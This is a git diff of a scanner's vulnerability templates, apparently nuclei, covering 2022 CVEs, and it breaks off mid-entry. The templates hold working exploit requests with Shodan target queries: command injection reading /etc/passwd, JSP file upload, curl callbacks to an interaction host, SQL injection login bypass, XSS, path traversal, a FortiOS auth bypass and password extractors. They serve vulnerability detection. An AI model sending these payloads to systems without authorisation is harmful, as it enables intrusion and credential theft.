https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 - - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-29303 - cwe-id: CWE-77 - metadata: - shodan-query: http.html:"SolarView Compact" - verified: "true" - tags: cve,cve2022,rce,injection,solarview,edb - -variables: - cmd: "cat${IFS}/etc/passwd" - -requests: - - raw: - - | - @timeout: 25s - POST /conf_mail.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M - - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0" - -# Enhanced by mp on 2022/06/01 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29464.yaml b/nuclei-templates/CVE-2022/CVE-2022-29464.yaml new file mode 100644 index 0000000000..9326e5f753 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-29464.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-29464 +info: + name: WSO2 Management - Arbitrary File Upload & Remote Code Execution + author: luci,dhiyaneshDk + severity: critical + description: | + Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. + reference: + - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ + - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 + - https://github.com/hakivvi/CVE-2022-29464 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29464 + cwe-id: CWE-434 + metadata: + shodan-query: http.favicon.hash:1398055326 + tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev +requests: + - raw: + - | + POST /fileupload/toolsAny HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311 + Content-Length: 348 + + -----------------------------250033711231076532771336998311 + Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp" + Content-Type: application/octet-stream + + <% out.print("WSO2-RCE-CVE-2022-29464"); %> + -----------------------------250033711231076532771336998311-- + - | + GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers: + - type: dsl + dsl: + - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30489.yaml b/nuclei-templates/CVE-2022/CVE-2022-30489.yaml deleted file mode 100644 index fa2302aea9..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-30489.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-30489 -info: - name: Wavlink Wn535g3 - POST XSS - author: For3stCo1d - severity: medium - description: | - WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. - reference: - - https://github.com/badboycxcc/XSS-CVE-2022-30489 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 - - https://github.com/badboycxcc/XSS - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30489 - cwe-id: CWE-79 - metadata: - shodan-query: http.title:"Wi-Fi APP Login" - verified: "true" - tags: xss,cve2022,wavlink,cve,router,iot -requests: - - raw: - - | - POST /cgi-bin/login.cgi HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn - matchers-condition: and - matchers: - - type: word - words: - - '<script>alert(document.domain);</script>' - - 'parent.location.replace("http://")' - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30525.yaml b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml new file mode 100644 index 0000000000..f1fe6f3456 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30525.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-30525 +info: + name: Zyxel Firewall - OS Command Injection + author: h1ei1,prajiteshsingh + severity: critical + description: | + An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. + reference: + - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ + - https://github.com/rapid7/metasploit-framework/pull/16563 + - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml + - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-30525 + cwe-id: CWE-78 + metadata: + shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" + tags: rce,zyxel,cve,cve2022,firewall,unauth,kev +requests: + - raw: + - | + POST /ztp/cgi-bin/handler HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + - type: status + status: + - 500 + +# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30776.yaml b/nuclei-templates/CVE-2022/CVE-2022-30776.yaml new file mode 100644 index 0000000000..13cca2459e --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-30776.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-30776 +info: + name: Atmail - Cross Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. + reference: + - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 + - https://www.atmail.com/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 + - https://help.atmail.com/hc/en-us/sections/115003283988 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30776 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"atmail" + verified: "true" + tags: cve,cve2022,atmail,xss +requests: + - method: GET + path: + - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Error: 1<script>alert(document.domain)</script>" + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-30777.yaml b/nuclei-templates/CVE-2022/CVE-2022-30777.yaml deleted file mode 100644 index 2c50f208fc..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-30777.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-30777 -info: - name: Parallels H-Sphere - Cross Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. - reference: - - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - - https://en.wikipedia.org/wiki/H-Sphere - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30777 - cwe-id: CWE-79 - metadata: - shodan-query: title:"h-sphere" - verified: "true" - tags: cve,cve2022,parallels,hsphere,xss -requests: - - method: GET - path: - - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - '<TITLE>"><script>alert(document.domain)</script>' - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-31268.yaml b/nuclei-templates/CVE-2022/CVE-2022-31268.yaml new file mode 100644 index 0000000000..ada90dc224 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-31268.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-31268 +info: + name: Gitblit 1.9.3 - Path traversal + author: 0x_Akoko + severity: high + description: | + A Path Traversal vulnerability in Gitblit 1.9.3 can lead to reading website files via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname). + reference: + - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md + - https://www.cvedetails.com/cve/CVE-2022-31268 + - https://vuldb.com/?id.200500 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31268 + cwe-id: CWE-22 + metadata: + shodan-query: http.html:"Gitblit" + verified: "true" + tags: cve,cve2022,lfi,gitblit +requests: + - method: GET + path: + - "{{BaseURL}}/resources//../WEB-INF/web.xml" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "</web-app>" + - "java.sun.com" + - "gitblit.properties" + condition: and + - type: word + part: header + words: + - "application/xml" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-32015.yaml b/nuclei-templates/CVE-2022/CVE-2022-32015.yaml deleted file mode 100644 index b1faf475d6..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32015.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-32015 -info: - name: Complete Online Job Search System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=category&search=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32015 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32015 - cwe-id: CWE-89 - metadata: - verified: "true" - tags: cve,cve2022,sqli,jobsearch -variables: - num: "999999999" -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+" - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' diff --git a/nuclei-templates/CVE-2022/CVE-2022-32018.yaml b/nuclei-templates/CVE-2022/CVE-2022-32018.yaml deleted file mode 100644 index 1fa8cbf9bc..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32018.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-32018 -info: - name: Complete Online Job Search System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32018 - cwe-id: CWE-89 - metadata: - verified: "true" - tags: cve,cve2022,sqli -variables: - num: "999999999" -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' diff --git a/nuclei-templates/CVE-2022/CVE-2022-32022.yaml b/nuclei-templates/CVE-2022/CVE-2022-32022.yaml deleted file mode 100644 index 6face31438..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32022.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2022-32022 -info: - name: Car Rental Management System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/ajax.php?action=login. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32022 - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32022 - cwe-id: CWE-89 - metadata: - shodan-query: http.html:"Car Rental Management System" - verified: "true" - tags: cve,cve2022,carrental,cms,sqli,login-bypass -requests: - - raw: - - | - POST /admin/ajax.php?action=login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username=admin'+or+'1'%3D'1'%23&password=admin - - | - GET /admin/index.php?page=home HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Welcome back Administrator!' - - 'action=logout' - - 'Manage Account' - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-32024.yaml b/nuclei-templates/CVE-2022/CVE-2022-32024.yaml deleted file mode 100644 index 644f0f8df2..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32024.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2022-32024 -info: - name: Car Rental Management System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32024 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32024 - cwe-id: CWE-89 - metadata: - comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. - shodan-query: http.html:"Car Rental Management System" - verified: "true" - tags: cve,cve2022,carrental,cms,sqli,authenticated -variables: - num: "999999999" -requests: - - raw: - - | - POST /admin/ajax.php?action=login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 - Host: {{Hostname}} - skip-variables-check: true - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-32028.yaml b/nuclei-templates/CVE-2022/CVE-2022-32028.yaml deleted file mode 100644 index 6afb4dca59..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-32028.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-32028 -info: - name: Car Rental Management System v1.0 - SQL Injection - author: arafatansari - severity: high - description: | - Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=. - reference: - - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-32028 - cwe-id: CWE-89 - metadata: - comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. - shodan-query: http.html:"Car Rental Management System" - verified: "true" - tags: cve,cve2022,carrental,cms,sqli,authenticated -variables: - num: "999999999" -requests: - - raw: - - | - POST /admin/ajax.php?action=login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 - Host: {{Hostname}} - skip-variables-check: true - redirects: true - max-redirects: 2 - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-32409.yaml b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml new file mode 100644 index 0000000000..aec3372d91 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-32409.yaml @@ -0,0 +1,31 @@ +id: CVE-2022-32409 +info: + name: i3geo - Directory Traversal + author: pikpikcu + severity: critical + description: A local file inclusion (LFI) vulnerability in the component codemirror.php of Portal do Software Publico Brasileiro i3geo v7.0.5 allows attackers to execute arbitrary PHP code via a crafted HTTP request + reference: + - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt + - https://nvd.nist.gov/vuln/detail/CVE-2022-32409 + - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-32409 + cwe-id: CWE-94 + metadata: + shodan-query: http.html:"i3geo" + verified: "true" + tags: cve,cve2022,i3geo,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-33174.yaml b/nuclei-templates/CVE-2022/CVE-2022-33174.yaml deleted file mode 100644 index 26dd8298df..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-33174.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-33174 -info: - name: Powertek Firmware - Authorization Bypass - author: pikpikcu - severity: high - description: | - Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. - reference: - - https://gynvael.coldwind.pl/?lang=en&id=748 - - https://nvd.nist.gov/vuln/detail/CVE-2022-33174 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-33174 - cwe-id: CWE-863 - metadata: - shodan-query: http.html:"Powertek" - verified: "true" - tags: cve,cve2022,powertek,auth-bypass -requests: - - raw: - - | - GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1 - Host: {{Hostname}} - Cookie: tmpToken=; - matchers-condition: and - matchers: - - type: word - words: - - '<sys.passwd>' - - '<sys.su.name>' - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>' - - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>' diff --git a/nuclei-templates/CVE-2022/CVE-2022-34046.yaml b/nuclei-templates/CVE-2022/CVE-2022-34046.yaml new file mode 100644 index 0000000000..0e55de9a03 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-34046.yaml @@ -0,0 +1,34 @@ +id: CVE-2022-34046 +info: + name: Wavlink Sysinit.shtml - Password Exposure + author: For3stCo1d + severity: high + description: | + An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);]. + reference: + - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046 + metadata: + verified: true + shodan-query: http.title:"Wi-Fi APP Login" + tags: cve,cve2022,wavlink,router,exposure +requests: + - raw: + - | + GET /sysinit.shtml?r=52300 HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var syspasswd="' + - '<title>APP' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + regex: + - 'syspasswd="(.+?)"' diff --git a/nuclei-templates/CVE-2022/CVE-2022-34047.yaml b/nuclei-templates/CVE-2022/CVE-2022-34047.yaml new file mode 100644 index 0000000000..4601f6daa5 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-34047.yaml @@ -0,0 +1,34 @@ +id: CVE-2022-34047 +info: + name: Wavlink Set_safety.shtml - Password Exposure + author: For3stCo1d + severity: high + description: | + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd]. + reference: + - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047 + metadata: + verified: true + shodan-query: http.title:"Wi-Fi APP Login" + tags: cve,cve2022,wavlink,router,exposure +requests: + - raw: + - | + GET /set_safety.shtml?r=52300 HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var syspasswd="' + - 'APP' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + regex: + - 'syspasswd="(.+?)"' diff --git a/nuclei-templates/CVE-2022/CVE-2022-35416.yaml b/nuclei-templates/CVE-2022/CVE-2022-35416.yaml deleted file mode 100644 index d782414f0d..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-35416.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-35416 -info: - name: H3C SSL VPN through 2022-07-10 - Cookie Based XSS - author: 0x240x23elu - severity: medium - description: | - H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS. - reference: - - https://github.com/advisories/GHSA-9x76-78gc-r3m9 - - https://github.com/Docker-droid/H3C_SSL_VPN_XSS - - https://nvd.nist.gov/vuln/detail/CVE-2022-35416 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-35416 - cwe-id: CWE-79 - metadata: - shodan-query: http.html_hash:510586239 - verified: "true" - tags: cve,cve2022,xss,vpn,h3c -requests: - - raw: - - | - GET /wnm/login/login.json HTTP/1.1 - Host: {{Hostname}} - Cookie: svpnlang= - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-40684.yaml b/nuclei-templates/CVE-2022/CVE-2022-40684.yaml deleted file mode 100644 index f2ede7984e..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-40684.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2022-40684 - -info: - name: FortiOS Authentication Bypass - author: Shockwave - severity: Critical - description: An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests. - reference: - - https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/ - - tags: authentication bypass - -requests: - - raw: - - | - PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 - Host: {{Hostname}} - User-Agent: Report Runner - Content-Type: application/json - Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000; - Content-Length: 610 - { - "ssh-public-key1": "fake-key" - } - matchers: - - type: word - words: - - 'Invalid SSH public key.\' diff --git a/nuclei-templates/CVE-2022/CVE-2022-42889.yaml b/nuclei-templates/CVE-2022/CVE-2022-42889.yaml new file mode 100644 index 0000000000..2140b90298 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-42889.yaml @@ -0,0 +1,22 @@ +id: CVE-2022-42889 + +info: + name: CVE-2022-42889 + author: Mrhacker404 + severity: critical + description: Blind-rce + +requests: + - method: GET + path: + - "{{BaseURL}}/text4shell/attack?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + - "{{BaseURL}}/attack?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + - "{{BaseURL}}/?search=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + - "{{BaseURL}}/text4shell/attack?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + - "{{BaseURL}}/attack?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + - "{{BaseURL}}/?s=%24%7bscript:javascript:java.lang.Runtime.getRuntime().exec('curl+{{interactsh-url}}')%7d" + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" diff --git a/nuclei-templates/CVE-2022/cve-2022-0281.yaml b/nuclei-templates/CVE-2022/cve-2022-0281.yaml new file mode 100644 index 0000000000..47e953bae5 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-0281.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-0281 + +info: + name: Microweber Information Disclosure + author: pikpikcu + severity: high + description: Microweber contains a vulnerability that allows exposure of sensitive information to an unauthorized actor in Packagist microweber/microweber prior to 1.2.11. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-0281 + tags: cve,cve2022,microweber,disclosure + metadata: + shodan-query: 'http.favicon.hash:780351152' + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2022-0281 + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/api/users/search_authors" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"username":' + - '"email":' + - '"display_name":' + condition: and + +# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-0432.yaml b/nuclei-templates/CVE-2022/cve-2022-0432.yaml new file mode 100644 index 0000000000..03ca087bd0 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-0432.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-0432 + +info: + name: Mastodon Prototype Pollution Vulnerability + author: pikpikcu + severity: medium + description: The GitHub repository mastodon/mastodon prior to 3.5.0 contains a Prototype Pollution vulnerability. + reference: + - https://github.com/mastodon/mastodon/commit/4d6d4b43c6186a13e67b92eaf70fe1b70ea24a09 + - https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view + - https://nvd.nist.gov/vuln/detail/CVE-2022-0432 + tags: cve,cve2022,mastodon,prototype + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2022-0432 + cwe-id: CWE-1321 + +requests: + - method: GET + path: + - '{{BaseURL}}/embed.js' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "if (data.type !== 'setHeight' || !iframes[data.id]) {" + +# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-0540.yaml b/nuclei-templates/CVE-2022/cve-2022-0540.yaml deleted file mode 100644 index 477db3d259..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0540.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-0540 - -info: - name: Atlassian Jira Seraph - Authentication Bypass - author: DhiyaneshDK - severity: critical - description: | - Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and 